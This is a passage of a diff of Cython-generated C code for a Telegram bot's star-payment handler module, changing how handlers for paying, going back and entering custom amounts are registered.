__pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 48, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 48, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 48, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_4back_to_pay_stars, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_back_to_pay_stars, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__3)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_2); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_back_to_pay_stars_after_invoice, __pyx_t_2) < 0) __PYX_ERR(0, 34, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_back_to_pay_stars, __pyx_t_3) < 0) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_back_to_pay_stars, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_pay_stars, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 46, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 46, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 46, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 46, __pyx_L1_error) - __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_4back_to_pay_stars, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_back_to_pay_stars, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__3)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 54, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 54, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 54, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_7process_callback_pay_stars, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_stars, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__4)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_2); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_back_to_pay_stars, __pyx_t_2) < 0) __PYX_ERR(0, 46, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_stars, __pyx_t_3) < 0) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 135, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 135, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_pay_stars, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 135, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 52, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__28, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 52, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 52, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 52, __pyx_L1_error) - __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_7process_callback_pay_stars, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_stars, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__4)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 52, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_4); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_2); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_stars, __pyx_t_2) < 0) __PYX_ERR(0, 52, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 133, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_4); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 133, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_startswith); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__35, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 133, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 135, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 133, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 133, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 133, __pyx_L1_error) - __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_10process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__10)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 133, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 135, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 135, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_10process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__7)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 133, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_5) < 0) __PYX_ERR(0, 133, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_5) < 0) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 189, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 189, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = PyObject_RichCompare(__pyx_t_2, __pyx_n_u_enter_custom_amount_stars, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 189, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = PyObject_RichCompare(__pyx_t_3, __pyx_n_u_enter_custom_amount_stars, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 189, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 189, __pyx_L1_error) - __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_13process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__21)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 189, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 191, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 191, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_13process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__15)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_5) < 0) __PYX_ERR(0, 189, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_5) < 0) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_entering_custom_amount_stars); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_entering_custom_amount_stars); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 203, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 203, __pyx_L1_error) - __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_16process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__24)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 205, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 205, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_16process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__16)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_2); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L1_error) + 